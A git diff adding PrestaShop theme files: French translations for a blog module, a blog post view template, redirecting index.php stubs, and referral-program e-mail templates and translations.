+$_MODULE['<{psblog}default>adminblogpostscontroller_21c1a8d9a81377d73c37b5dfed1effec'] = 'Cochez toutes les catégories qui correspondent à l\'article'; +$_MODULE['<{psblog}default>adminblogpostscontroller_f33eb15d25d957f8c1a08aa71fcbe6ae'] = 'Aucune catégorie'; +$_MODULE['<{psblog}default>adminblogpostscontroller_38070661d5ad384d9c7d21895dc4e784'] = 'Produits liés'; +$_MODULE['<{psblog}default>adminblogpostscontroller_3b263477a8ad622d76979befafd0119d'] = 'Commencez à saisir les premières lettres du nom du produit puis sélectionnez le produit dans le menu déroulant :'; +$_MODULE['<{psblog}default>adminblogpostscontroller_4b6c6cda10a23d1bdc920f2e47e5f46f'] = 'Ajouter un produit'; +$_MODULE['<{psblog}default>adminblogpostscontroller_394efb42d8bf427587bc4333d7f461f1'] = 'Related posts'; +$_MODULE['<{psblog}default>adminblogpostscontroller_ea1ac4fbdf9bd5cf3d6dda76b6e4d8df'] = 'Aucun article'; +$_MODULE['<{psblog}default>adminblogpostscontroller_2165c7745554c57b7be499f6d2f5b854'] = 'SEO - informations pour le référencement'; +$_MODULE['<{psblog}default>adminblogpostscontroller_ca9499bc0c94be9a3959df97fabd32df'] = 'URL simplifiée :'; +$_MODULE['<{psblog}default>adminblogpostscontroller_2ef9671539ece086eb5c74c851a08565'] = 'Seules les lettres et le signe - sont autorisés'; +$_MODULE['<{psblog}default>adminblogpostscontroller_9a761acc0a2592f0e2580ab4b079fe06'] = 'Méta description :'; +$_MODULE['<{psblog}default>adminblogpostscontroller_d10d924ada404af22674202df72584aa'] = 'Meta description pour les moteurs de recherche'; +$_MODULE['<{psblog}default>adminblogpostscontroller_9ee59b77f2b6c4faeddc84093c3c2a33'] = 'Méta mots-clés :'; +$_MODULE['<{psblog}default>adminblogpostscontroller_d08361ed0c11d4f4347a31a00eb73c5e'] = 'Séparer les mot par ,'; +$_MODULE['<{psblog}default>adminblogpostscontroller_e4dcf06ed98cc2aaa775aa6c2864dd82'] = 'Options de publication'; +$_MODULE['<{psblog}default>adminblogpostscontroller_9b9d8a976b42e0bd66381797644943d5'] = 'Publié'; +$_MODULE['<{psblog}default>adminblogpostscontroller_22b9ffc76a3eb7044de3b42fc92c9793'] = 'Brouillon'; +$_MODULE['<{psblog}default>adminblogpostscontroller_8bf906833cc7aea8084f552217ed9c1d'] = 'Suspendu'; +$_MODULE['<{psblog}default>adminblogpostscontroller_46305df6212a3c2cb0bed9985c49bd6c'] = 'Statut :'; +$_MODULE['<{psblog}default>adminblogpostscontroller_00d23a76e43b46dae9ec7aa9dcbebb32'] = 'Activé'; +$_MODULE['<{psblog}default>adminblogpostscontroller_b9f5c797ebbf55adccdd8539a65a0241'] = 'Désactivé'; +$_MODULE['<{psblog}default>adminblogpostscontroller_06eb0cec5f1982e584fb6a19cf2df877'] = 'Autoriser les commentaires : '; +$_MODULE['<{psblog}default>adminblogpostscontroller_7b1d4465189f9f23ca7b50cae17e5e57'] = 'Date de publication :'; +$_MODULE['<{psblog}default>adminblogpostscontroller_19f823c6453c2b1ffd09cb715214813d'] = 'Champ requis'; +$_MODULE['<{psblog}default>adminblogpostscontroller_c9cc8cce247e49bae79f15173ce97354'] = 'Enregistrer'; +$_MODULE['<{psblog}default>adminblogpostscontroller_9ea67be453eaccf020697b4654fc021a'] = 'Enregistrer et rester'; +$_MODULE['<{psblog}default>adminblogpostscontroller_be8df1f28c0abc85a0ed0c6860e5d832'] = 'Blog'; +$_MODULE['<{psblog}default>adminblogpostscontroller_7dce122004969d56ae2e0245cb754d35'] = 'Editer'; +$_MODULE['<{psblog}default>adminblogpostscontroller_ef61fb324d729c341ea8ab9901e23566'] = 'Ajouter'; +$_MODULE['<{psblog}default>adminblogpostscontroller_02a3a357710cc2a5dfdfb74ed012fb59'] = 'Url'; +$_MODULE['<{psblog}default>adminblogpostscontroller_3f63d775e2b5c054ecd3cb3c42db6350'] = 'Image default'; +$_MODULE['<{psblog}default>adminblogpostscontroller_fff0d600f8a0b5e19e88bfb821dd1157'] = 'Images'; +$_MODULE['<{psblog}default>adminblogpostscontroller_7d7559ccac6bc30a4d985db11cb34a3a'] = 'Meta keywords'; +$_MODULE['<{psblog}default>adminblogpostscontroller_3f64b2beede1082fd32ddb0bf11a641f'] = 'Meta description'; +$_MODULE['<{psblog}default>adminblogpostscontroller_12a521af593422cd508f7707662c9eb2'] = 'Boutiques'; +$_MODULE['<{psblog}default>adminblogstatscontroller_7dc185556694fbc135c35e7cb33ff2ea'] = 'Commentaires en attente de modération'; +$_MODULE['<{psblog}default>adminblogstatscontroller_83a3804a122f96fd8bcd716a566de9d2'] = 'Commentaires publiés'; +$_MODULE['<{psblog}default>adminblogstatscontroller_778805c320e4e4fd0ac37daa2ae9f941'] = 'Commentaires refusés'; +$_MODULE['<{psblog}default>adminblogstatscontroller_0f2898ac15073825a5c5d88723264685'] = 'Nombre total de commentaires'; +$_MODULE['<{psblog}default>adminblogstatscontroller_9f18ee985a83967e88020e0cd4c54264'] = 'Blog commentaires'; +$_MODULE['<{psblog}default>adminblogstatscontroller_400fbfc3ac6188ac3caadd5881595563'] = 'Nombre total d\'articles'; +$_MODULE['<{psblog}default>adminblogstatscontroller_11162316041a099669a0ebc4ff464089'] = 'Articles publiés'; +$_MODULE['<{psblog}default>adminblogstatscontroller_0422ae5ca6429121fc69c4eb1c643b32'] = 'Articles populaires'; +$_MODULE['<{psblog}default>adminblogstatscontroller_d7e637a6e9ff116de2fa89551240a94d'] = 'Visites'; +$_MODULE['<{psblog}default>adminblogstatscontroller_10965b2740f42ad4887932c35cee26ab'] = 'visiteurs uniques'; +$_MODULE['<{psblog}default>adminblogstatscontroller_490aa6e856ccf208a054389e47ce0d06'] = 'Id'; +$_MODULE['<{psblog}default>adminblogstatscontroller_b2ee912b91d69b435159c7c3f6df7f5f'] = 'Nombre'; +$_MODULE['<{psblog}default>adminblogstatscontroller_49ee3087348e8d44e1feda1917443987'] = 'Nom'; +$_MODULE['<{psblog}default>adminblogstatscontroller_b78a3223503896721cca1303f776159b'] = 'Titre'; +$_MODULE['<{psblog}default>adminblogstatscontroller_9fa2e5dbe284adf386e6824e6c0b22dc'] = 'Articles les plus commentés'; +$_MODULE['<{psblog}default>adminblogstatscontroller_3e480dfc32f25db062e28fa513003957'] = 'Catégories populaires'; +$_MODULE['<{psblog}default>adminblogstatscontroller_1c60d824edb285957460f14afa9844d7'] = 'Nombre total de catégories'; +$_MODULE['<{psblog}default>adminblogstatscontroller_f03d8bee350c9b567d5e7abc3d8d1c90'] = 'Catégories publiées'; +$_MODULE['<{psblog}default>adminblogstatscontroller_3cfd94e5b1e020a2b88c15f49d57886e'] = 'Blog catégories'; +$_MODULE['<{psblog}default>adminblogstatscontroller_306bd97775f7be5ceb6a545866e26365'] = 'Configuration du module'; +$_MODULE['<{psblog}default>adminblogstatscontroller_8f468f5ac98687ecd826721e83a6b41e'] = 'Informations du Blog'; +$_MODULE['<{psblog}default>adminblogstatscontroller_47edbb9e6d6e6e874eb40c274a0e2e0f'] = 'Blog articles'; +$_MODULE['<{psblog}default>adminblogstatscontroller_42a7b2626eae970122e01f65af2f5092'] = 'Aucune donnée'; +$_MODULE['<{psblog}default>list_013eb4cc729120d226deb0d262e821fc'] = 'Oh Mon Grimoire'; +$_MODULE['<{psblog}default>list_3ad8deaaa1b3906cd8b9c00d9cecd239'] = 'Cette page n\'existe pas'; +$_MODULE['<{psblog}default>list_91e9d554ea8e800e32f9fe32ebb44886'] = 'Retour à l\'accueil'; +$_MODULE['<{psblog}default>list_8cf04a9734132302f96da8e113e80ce5'] = 'Accueil'; +$_MODULE['<{psblog}default>list_b9ee0997e2b855d3b3f4e41c68a83a04'] = 'Tous les articles'; +$_MODULE['<{psblog}default>list_79028e34662274cafc6d802dccf23a40'] = 'Articles dans la catégorie'; +$_MODULE['<{psblog}default>list_5cec8c754fc39c7ad9ccac4b752ac854'] = 'Sous catégories :'; +$_MODULE['<{psblog}default>list_5dc52ca9ffdc26147075682c92a0a853'] = 'Articles'; +$_MODULE['<{psblog}default>list_7a3daef0bd6fc078a60584d40f3069b8'] = 'Résultats pour'; +$_MODULE['<{psblog}default>list_0941e6250506a6c73a7a782e28a7f31c'] = 'Publié dans'; +$_MODULE['<{psblog}default>list_a5d491060952aa8ad5fdee071be752de'] = 'commentaires'; +$_MODULE['<{psblog}default>list_06d4cd63bde972fc66a0aed41d2f5c51'] = 'commentaire'; +$_MODULE['<{psblog}default>list_43340e6cc4e88197d57f8d6d5ea50a46'] = 'Lire la suite'; +$_MODULE['<{psblog}default>list_7cce3c34a73693ef4a493b44be2b13fa'] = 'Articles précédents'; +$_MODULE['<{psblog}default>list_8113976cdd20d04f5732dcd791726ec5'] = 'Articles plus récents'; +$_MODULE['<{psblog}default>list_e1719a3e2f3a8a49b526132c4b5a27db'] = 'Aucun résultat pour'; +$_MODULE['<{psblog}default>list_f4fec5d2ee06e82c837c5430af47b3fc'] = 'Aucun article dans cette catégorie'; +$_MODULE['<{psblog}default>list_928acf0ecb11901190d32433c3c3fad4'] = 'Aucun article'; +$_MODULE['<{psblog}default>product-tabtitle_be8df1f28c0abc85a0ed0c6860e5d832'] = 'Blog'; +$_MODULE['<{psblog}default>view_6cf374238e85deb0e869f1d086521237'] = 'Oh Mon Grimoire'; +$_MODULE['<{psblog}default>view_91e9d554ea8e800e32f9fe32ebb44886'] = 'Retour à l\'accueil'; +$_MODULE['<{psblog}default>view_8cf04a9734132302f96da8e113e80ce5'] = 'Accueil'; +$_MODULE['<{psblog}default>view_fa42df8b59069a90fbad7bdb3fa64d8b'] = 'Dans les catégories'; +$_MODULE['<{psblog}default>view_319cf17b95b30222314383bb72d608c2'] = 'Partager'; +$_MODULE['<{psblog}default>view_be63279edce856d773a9744e23b3dcd4'] = 'Articles liés'; +$_MODULE['<{psblog}default>view_38070661d5ad384d9c7d21895dc4e784'] = 'Produits liés'; +$_MODULE['<{psblog}default>view_d3da97e2d9aee5c8fbe03156ad051c99'] = 'Lire la suite'; +$_MODULE['<{psblog}default>view_9b557e23f95ec04a7980a407f4ad3a0a'] = 'Voir le produit'; +$_MODULE['<{psblog}default>view_8413c683b4b27cc3f4dbd4c90329d8ba'] = 'Commentaires'; +$_MODULE['<{psblog}default>view_5d51a0c85c76a166c4475a6412c4582a'] = 'Merci pour votre mot doux !'; +$_MODULE['<{psblog}default>view_9bf66938f146811a4c3d4da64381a0b3'] = 'Merci pour votre mot doux ! Nos petites fées y jettent un œil et le publieront au plus vite.'; +$_MODULE['<{psblog}default>view_7626b1595096f3ec9f095d178c445b88'] = ' Vous n’auriez pas oublié quelque chose ? Donnez-nous au moins votre nom'; +$_MODULE['<{psblog}default>view_caa9a78807f82427069b510379955a02'] = 'caractères min'; +$_MODULE['<{psblog}default>view_780f49ba34d552e47d39cf026ddeb269'] = 'et un petit mot doux!'; +$_MODULE['<{psblog}default>view_2b2fe20a1f72a6cbb0b689ad679b904c'] = 'Ce message a été déjà envoyé'; +$_MODULE['<{psblog}default>view_7a91de1864dffb53aa28b1489eeae548'] = 'Les balises HTML ne sont pas autorisés'; +$_MODULE['<{psblog}default>view_7619c333d35354825189e59ae1ac76ed'] = 'secondes nécessaires entre tous les commentaires'; +$_MODULE['<{psblog}default>view_84eeb81e61c76ad3f4103b0b051c7021'] = 'dit'; +$_MODULE['<{psblog}default>view_a4704fd35f0308287f2937ba3eccf5fe'] = 'le'; +$_MODULE['<{psblog}default>view_0be8406951cdfda82f00f79328cf4efc'] = 'Commentaire'; +$_MODULE['<{psblog}default>view_08621d00a3a801b9159a11b8bbd69f89'] = 'Aucun commentaire pour le moment.'; +$_MODULE['<{psblog}default>view_720fae7db6e6055d2b47890240bb3598'] = 'Seuls les utilisateurs enregistrés peuvent publier des commentaires.'; +$_MODULE['<{psblog}default>view_c3edcf2cedbd4ce230fd6d4ea8915718'] = 'Ajouter un commentaire'; +$_MODULE['<{psblog}default>view_4e140ba723a03baa6948340bf90e2ef6'] = 'Nom :'; +$_MODULE['<{psblog}default>view_240f3031f25601fa128bd4e15f0a37de'] = 'Commentaire : '; +$_MODULE['<{psblog}default>view_94966d90747b97d1f0f206c98a8b1ac3'] = 'Envoyer'; +$_MODULE['<{psblog}default>view_c96417ab573f83e2ee5d3a5054f618e6'] = 'Cet article n\'est pas disponible'; +$_MODULE['<{psblog}default>blockarchives_3a81b1c988c7819869edfc5ebad8b444'] = 'Archives du blog'; +$_MODULE['<{psblog}default>blockcategories_3cfd94e5b1e020a2b88c15f49d57886e'] = 'Blog catégories'; +$_MODULE['<{psblog}default>blockpostshome_b9ee0997e2b855d3b3f4e41c68a83a04'] = 'Tous les articles'; +$_MODULE['<{psblog}default>blockposts_5e78b94e9e140ac79e9f20733ed45641'] = 'Tous les articles'; +$_MODULE['<{psblog}default>blocksearch_b75feb053926ae8719fc100f6ad2b6c2'] = 'Recherche dans le blog'; +$_MODULE['<{psblog}default>blocksearch_167856a08ef829642fd68172ef919e1a'] = 'Résultats pour la recherche'; +$_MODULE['<{psblog}default>blocksearch_34d1f91fb2e514b8576fab1a75a89a6b'] = 'ok'; +$_MODULE['<{psblog}default>blocksearch_0cd75dab0af37c581cc407d290760841'] = 'Dites-nous tout !'; +$_MODULE['<{psblog}default>blocksearch_03895de3c67379ad0e78cfe292724c4c'] = 'Contactez nous'; +$_MODULE['<{psblog}default>blocksearch_02d4482d332e1aef3437cd61c9bcc624'] = 'Contactez nous'; +$_MODULE['<{psblog}default>product-tabcontent_f9920b11006fc9bbda0131d960dc9dd5'] = 'Articles liés à ce produit'; +$_MODULE['<{psblog}default>view_437bddb8c811960b2c9142263874dbf0'] = 'Voir l\'article'; diff --git a/themes/default/modules/psblog/view.tpl b/themes/default/modules/psblog/view.tpl new file mode 100755 index 0000000..ad6b262 --- /dev/null +++ b/themes/default/modules/psblog/view.tpl @@ -0,0 +1,205 @@ +
        + +
        + +{**} + +{if $post->status == 'published'} +
        + +
        + {if $post->default_img} + {$post->title} + {/if} + +
        +

        {$post->title}

        + {if $blog_conf.view_display_date} + {$post->date_on|escape:'html':'UTF-8'|date_format:"%d"}
        {$post->date_on|escape:'html':'UTF-8'|date_format:"%m.%Y"}
        + {/if} +
        +
        +
        + +
        +
        + {$post->content} +
        +
        +
        + + + + + {if $blog_conf.related_active && $post_related|@count > 0} +
        +

        {l s='Related blog posts' mod='psblog'}

        + +
        + {/if} + + {if $blog_conf.product_active} + {if $post_products|@count > 0} +
        +

        {l s='Related products' mod='psblog'}

        + + +
        +
        + {/if} + {/if} + + {if $blog_conf.comment_active && $post->allow_comments} + +
        +

        {l s='Comments' mod='psblog'}

        +
        + {if isset($psblog_confirmation)} +

        + {if !$blog_conf.comment_moderate} + {l s='Comment posted successfully' mod='psblog'} + {else} + {l s='Comment posted, awaiting moderator validation' mod='psblog'} + {/if} +

        + {/if} + {if isset($psblog_error) && $psblog_error == 'error_input'} +

        {l s='Your comment has not been sent, name' mod='psblog'} ({$blog_conf.comment_name_min_length} {l s='chars min' mod='psblog'}) {l s='and comment are required.' mod='psblog'}

        + {/if} + {if isset($psblog_error) && $psblog_error == 'error_already'} +

        {l s='This message have been already sent' mod='psblog'}

        + {/if} + {if isset($psblog_error) && $psblog_error == 'error_input_invalid'} +

        {l s='HTML tags are not allowed' mod='psblog'}

        + {/if} + {if isset($psblog_error) && $psblog_error == 'error_delay'} +

        {$blog_conf.comment_min_time} {l s='seconds required between every comment' mod='psblog'}

        + {/if} +
        + {if isset($post_comments) && $post_comments|@count > 0} + {foreach from=$post_comments item=com name=comments_list} +
        +
        + {$com.customer_name|escape:'html':'UTF-8'} {l s='says' mod='psblog'} : + {l s='The' mod='psblog'} {$com.date_add|escape:'html':'UTF-8'|date_format:"%d/%m/%Y"} +
        +
        +
        + {*

        {l s='Comment' mod='psblog'} :

        *} +

        {$com.content|nl2br}

        +
        +
        + {/foreach} + {else} + {l s='No customer comments for the moment.' mod='psblog'} + {/if} +
        + + {if !isset($psblog_confirmation)} + {if $logged == false && !$blog_conf.comment_guest} +

        {l s='Only registered users can post a new comment.' mod='psblog'}

        + {else} +
        +

        {l s='Add a comment' mod='psblog'}

        +

        + +

        + +

        + +

        +

        +
        + + + + {/if} + {/if} +
        +
        + {/if} +
        +
        +{else} +

        {l s='This post is not available' mod='psblog'}

        +{/if} +{literal} + +{/literal} \ No newline at end of file diff --git a/themes/default/modules/referralprogram/index.php b/themes/default/modules/referralprogram/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/themes/default/modules/referralprogram/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/themes/default/modules/referralprogram/mails/en/index.php b/themes/default/modules/referralprogram/mails/en/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/themes/default/modules/referralprogram/mails/en/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/themes/default/modules/referralprogram/mails/en/referralprogram-congratulations.html b/themes/default/modules/referralprogram/mails/en/referralprogram-congratulations.html new file mode 100755 index 0000000..ea86368 --- /dev/null +++ b/themes/default/modules/referralprogram/mails/en/referralprogram-congratulations.html @@ -0,0 +1,46 @@ + + + + + Message from {shop_name} + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
        {shop_name}
         
        Congratulations!
         
        Your referred friend, {sponsored_firstname} {sponsored_lastname} has placed his or her first order on {shop_name}!
         
        We are pleased to offer you a voucher worth {discount_display} (voucher # {discount_name}) that you can use on your next order.
         
        Best regards,
         
        {shop_name} powered by PrestaShop™
        + + \ No newline at end of file diff --git a/themes/default/modules/referralprogram/mails/en/referralprogram-congratulations.txt b/themes/default/modules/referralprogram/mails/en/referralprogram-congratulations.txt new file mode 100755 index 0000000..4d16867 --- /dev/null +++ b/themes/default/modules/referralprogram/mails/en/referralprogram-congratulations.txt @@ -0,0 +1,9 @@ +Congratulations! + +Your referred friend, {sponsored_firstname} {sponsored_lastname} has placed his or her first order on {shop_url} ! + +We are pleased to offer you a voucher worth {discount_display} (voucher # {discount_name}) that you can use on your next order. + + + +{shop_url} Powered by PrestaShopâ„¢ \ No newline at end of file diff --git a/themes/default/modules/referralprogram/mails/en/referralprogram-invitation.html b/themes/default/modules/referralprogram/mails/en/referralprogram-invitation.html new file mode 100755 index 0000000..b44cc3b --- /dev/null +++ b/themes/default/modules/referralprogram/mails/en/referralprogram-invitation.html @@ -0,0 +1,58 @@ + + + + + Message from {shop_name} + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
        {shop_name}
         
        {firstname_friend} {lastname_friend}, join us!
         
        Your friend {firstname} {lastname} wants to refer you on {shop_name}!
         
        Get referred and earn a discount voucher of {discount}!
         
        It's very easy to sign up. Just click here!
         
        When signing up, don't forget to provide the e-mail address of your referring friend: {email}.
         
        Best regards,
         
        {shop_name} powered by PrestaShop™
        + + \ No newline at end of file diff --git a/themes/default/modules/referralprogram/mails/en/referralprogram-invitation.txt b/themes/default/modules/referralprogram/mails/en/referralprogram-invitation.txt new file mode 100755 index 0000000..342c7d5 --- /dev/null +++ b/themes/default/modules/referralprogram/mails/en/referralprogram-invitation.txt @@ -0,0 +1,15 @@ +{firstname_friend} {lastname_friend}, join us! + +Your friend {firstname} {lastname} wants to refer you on {shop_url}. + +Get referred and earn a discount voucher of {discount}! + +It's very easy to sign up. Just click on the following link: + +{shop_url}{link} + +When signing up, don't forget to provide the e-mail address of your referring friend: {email}. + + + +{shop_url} powered by PrestaShopâ„¢ \ No newline at end of file diff --git a/themes/default/modules/referralprogram/mails/en/referralprogram-voucher.html b/themes/default/modules/referralprogram/mails/en/referralprogram-voucher.html new file mode 100755 index 0000000..5011e10 --- /dev/null +++ b/themes/default/modules/referralprogram/mails/en/referralprogram-voucher.html @@ -0,0 +1,46 @@ + + + + + Message from {shop_name} + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
        {shop_name}
         
        Hi {firstname} {lastname},
         
        Referral Program
         
        We have created a voucher in your name for referring a friend.
         
        Here is the code of your voucher : {voucher_num}, with an amount of {voucher_amount}.
        Simply copy/paste this code during the payment process for your next order.
         
        {shop_name} powered by PrestaShop™
        + + \ No newline at end of file diff --git a/themes/default/modules/referralprogram/mails/en/referralprogram-voucher.txt b/themes/default/modules/referralprogram/mails/en/referralprogram-voucher.txt new file mode 100755 index 0000000..253a76d --- /dev/null +++ b/themes/default/modules/referralprogram/mails/en/referralprogram-voucher.txt @@ -0,0 +1,12 @@ +Hi {firstname} {lastname}, + +We have created a voucher in your name for referring a friend. + +Here is the code of your voucher : {voucher_num}, with an amount of {voucher_amount}. +Simply copy/paste this code during the payment process for your next order. + +Thank you for shopping at {shop_name}. + + + +{shop_url} powered by PrestaShopâ„¢ diff --git a/themes/default/modules/referralprogram/mails/fr/referralprogram-congratulations.html b/themes/default/modules/referralprogram/mails/fr/referralprogram-congratulations.html new file mode 100755 index 0000000..f99bf5c --- /dev/null +++ b/themes/default/modules/referralprogram/mails/fr/referralprogram-congratulations.html @@ -0,0 +1,46 @@ + + + + + Message de {shop_name} + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
        {shop_name}
         
        Félicitations !
         
        Votre filleul(e) {sponsored_firstname} {sponsored_lastname} a effectué son premier achat sur {shop_name} !
         
        Nous avons le plaisir de vous offrir un bon d'achat de {discount_display} (bon de réduction avec le code {discount_name}), que vous pourrez utiliser à l'occasion de votre prochaine commande.
         
        Bien cordialement,
         
        {shop_name} propulsé par PrestaShop™
        + + \ No newline at end of file diff --git a/themes/default/modules/referralprogram/mails/fr/referralprogram-congratulations.txt b/themes/default/modules/referralprogram/mails/fr/referralprogram-congratulations.txt new file mode 100755 index 0000000..e1f74e4 --- /dev/null +++ b/themes/default/modules/referralprogram/mails/fr/referralprogram-congratulations.txt @@ -0,0 +1,9 @@ +Félicitations ! + +Votre filleul(e) {sponsored_firstname} {sponsored_lastname} a effectué son premier achat sur notre site {shop_url} ! + +Nous avons le plaisir de vous offrir un bon d'achat de {discount_display} (bon de réduction avec le code : {discount_name}), que vous pourrez utiliser à l'occasion de votre prochaine commande. + + + +{shop_url} réalisé par PrestaShop™ \ No newline at end of file diff --git a/themes/default/modules/referralprogram/mails/fr/referralprogram-invitation.html b/themes/default/modules/referralprogram/mails/fr/referralprogram-invitation.html new file mode 100755 index 0000000..5e0dbad --- /dev/null +++ b/themes/default/modules/referralprogram/mails/fr/referralprogram-invitation.html @@ -0,0 +1,58 @@ + + + + + Message de {shop_name} + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
        {shop_name}
         
        {firstname_friend} {lastname_friend}, rejoignez-nous !
         
        Votre ami(e) {firstname} {lastname} vous a parrainé depuis le site {shop_name} !
         
        Devenez son(sa) filleul(e) afin de gagner un bon d'achat de {discount}!
         
        Pour nous rejoindre, rien de plus simple, cliquez-ici !
         
        N'oubliez pas d'y préciser l'email de votre ami en tant que parrain lors de votre inscription : {email}.
         
        Bien cordialement,
         
        {shop_name} propulsé par PrestaShop™
        + + \ No newline at end of file diff --git a/themes/default/modules/referralprogram/mails/fr/referralprogram-invitation.txt b/themes/default/modules/referralprogram/mails/fr/referralprogram-invitation.txt new file mode 100755 index 0000000..e2a2f76 --- /dev/null +++ b/themes/default/modules/referralprogram/mails/fr/referralprogram-invitation.txt @@ -0,0 +1,15 @@ +{firstname_friend} {lastname_friend}, rejoignez-nous ! + +Votre ami(e) {firstname} {lastname} vous a parrainé depuis le site {shop_url}. + +Devenez son(sa) filleul(e) afin de gagner un bon d'achat de {discount}! + +Pour nous rejoindre, rien de plus simple, rendez-vous à l'adresse suivante : + +{shop_url}{link} + +N'oubliez pas d'y préciser l'email de votre ami en tant que parrain lors de votre inscription : {email}. + + + +{shop_url} réalisé par PrestaShop™ \ No newline at end of file diff --git a/themes/default/modules/referralprogram/mails/fr/referralprogram-voucher.html b/themes/default/modules/referralprogram/mails/fr/referralprogram-voucher.html new file mode 100755 index 0000000..0a0bd63 --- /dev/null +++ b/themes/default/modules/referralprogram/mails/fr/referralprogram-voucher.html @@ -0,0 +1,46 @@ + + + + + Message de {shop_name} + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
        {shop_name}
         
        Bonjour {firstname} {lastname},
         
        Programme de Parrainage
         
        Nous vous informons de la génération d'un bon de réduction à votre nom relatif à votre parrainage.
         
        Voici le numéro de votre bon de réduction : {voucher_num}, d'un montant total de {voucher_amount}.
        Copiez-collez ce code dans le panier de votre prochain achat avant de régler la commande.
         
        {shop_name} propulsé par PrestaShop™
        + + \ No newline at end of file diff --git a/themes/default/modules/referralprogram/mails/fr/referralprogram-voucher.txt b/themes/default/modules/referralprogram/mails/fr/referralprogram-voucher.txt new file mode 100755 index 0000000..59b8b71 --- /dev/null +++ b/themes/default/modules/referralprogram/mails/fr/referralprogram-voucher.txt @@ -0,0 +1,10 @@ +Bonjour {firstname} {lastname}, + +Nous vous informons que vous venez d'obtenir un bon d'achat suite à votre parrainage. + +Voici le numéro de votre bon : {voucher_num}, d'un montant total de {voucher_amount}. +Copiez-collez ce code dans le panier de votre prochain achat avant de régler la commande. + + + +{shop_url} réalisé par PrestaShop™ diff --git a/themes/default/modules/referralprogram/mails/index.php b/themes/default/modules/referralprogram/mails/index.php new file mode 100755 index 0000000..6f5ff3b --- /dev/null +++ b/themes/default/modules/referralprogram/mails/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/themes/default/modules/referralprogram/translations/fr.php b/themes/default/modules/referralprogram/translations/fr.php new file mode 100755 index 0000000..b331bf2 --- /dev/null +++ b/themes/default/modules/referralprogram/translations/fr.php @@ -0,0 +1,109 @@ +referralprogram_40604a195d001353d697b0fd26f5d8fe'] = 'Tous les informations relatives aux parrains et filleuls'; +$_MODULE['<{referralprogram}prestashop>referralprogram_83090230d3c11aa76851030eba008a71'] = 'Programme de parrainage'; +$_MODULE['<{referralprogram}prestashop>referralprogram_46a3a666d8823b972af8018a5242a3ac'] = 'Intègre un programme de parrainage à votre boutique'; +$_MODULE['<{referralprogram}prestashop>referralprogram_d59ce2e96c0c2362a0a4269e0d874e32'] = 'Vous devez spécifier un montant pour les bons de réduction de parrainage'; +$_MODULE['<{referralprogram}prestashop>referralprogram_284033830e0eaf55340844305bf34fdd'] = 'Récompense parrainage'; +$_MODULE['<{referralprogram}prestashop>referralprogram_3c5db6c207f700f4f209b43bed966e96'] = 'Suppression de ce fichier impossible :'; +$_MODULE['<{referralprogram}prestashop>referralprogram_6c58031e7824c3cd6febc2f2107b0652'] = 'Mise a jour effectuée.'; +$_MODULE['<{referralprogram}prestashop>referralprogram_167579019fe14b4efed431a82985d9ad'] = 'Le nombre de commande est invalide.'; +$_MODULE['<{referralprogram}prestashop>referralprogram_ceb0ce9b627fb9a962543f3271da29b1'] = 'La valeur de réduction est invalide'; +$_MODULE['<{referralprogram}prestashop>referralprogram_9611f10b809aa2daf5c0eb88153901d4'] = 'Valeur de la réduction pour la devise %d est vide.'; +$_MODULE['<{referralprogram}prestashop>referralprogram_ee328e3466040a3e52db5d764b7b7e0c'] = 'Valeur de la réduction pour la devise %d est invalide.'; +$_MODULE['<{referralprogram}prestashop>referralprogram_addae886b20a06e2954461706c90cd7d'] = 'Le type de réduction est invalide.'; +$_MODULE['<{referralprogram}prestashop>referralprogram_ac3357de2dec8d74d89dd378962ec621'] = 'Le nombre d\'amis est incorrect.'; +$_MODULE['<{referralprogram}prestashop>referralprogram_18d0d79eb088abb4357e3666eec35660'] = 'pourcentage de remise est exigée / non valide.'; +$_MODULE['<{referralprogram}prestashop>referralprogram_3d31dd445991f35b1ee6491eec7ac71c'] = 'Impossible d\'écrire dans le fichier XML.'; +$_MODULE['<{referralprogram}prestashop>referralprogram_96191c1f54bb6311624210333ef797eb'] = 'Impossible de fermer le fichier XML.'; +$_MODULE['<{referralprogram}prestashop>referralprogram_21cc1fccae3b04bb8cd2719cc5269e1e'] = 'Impossible de mettre à jour le fichier XML. Veuillez vérifier les droits d\'écriture sur le fichier XML.'; +$_MODULE['<{referralprogram}prestashop>referralprogram_5be920293db3e38c81330fd0798336b1'] = 'Champ HTML invalide, le Javascript y est interdit.'; 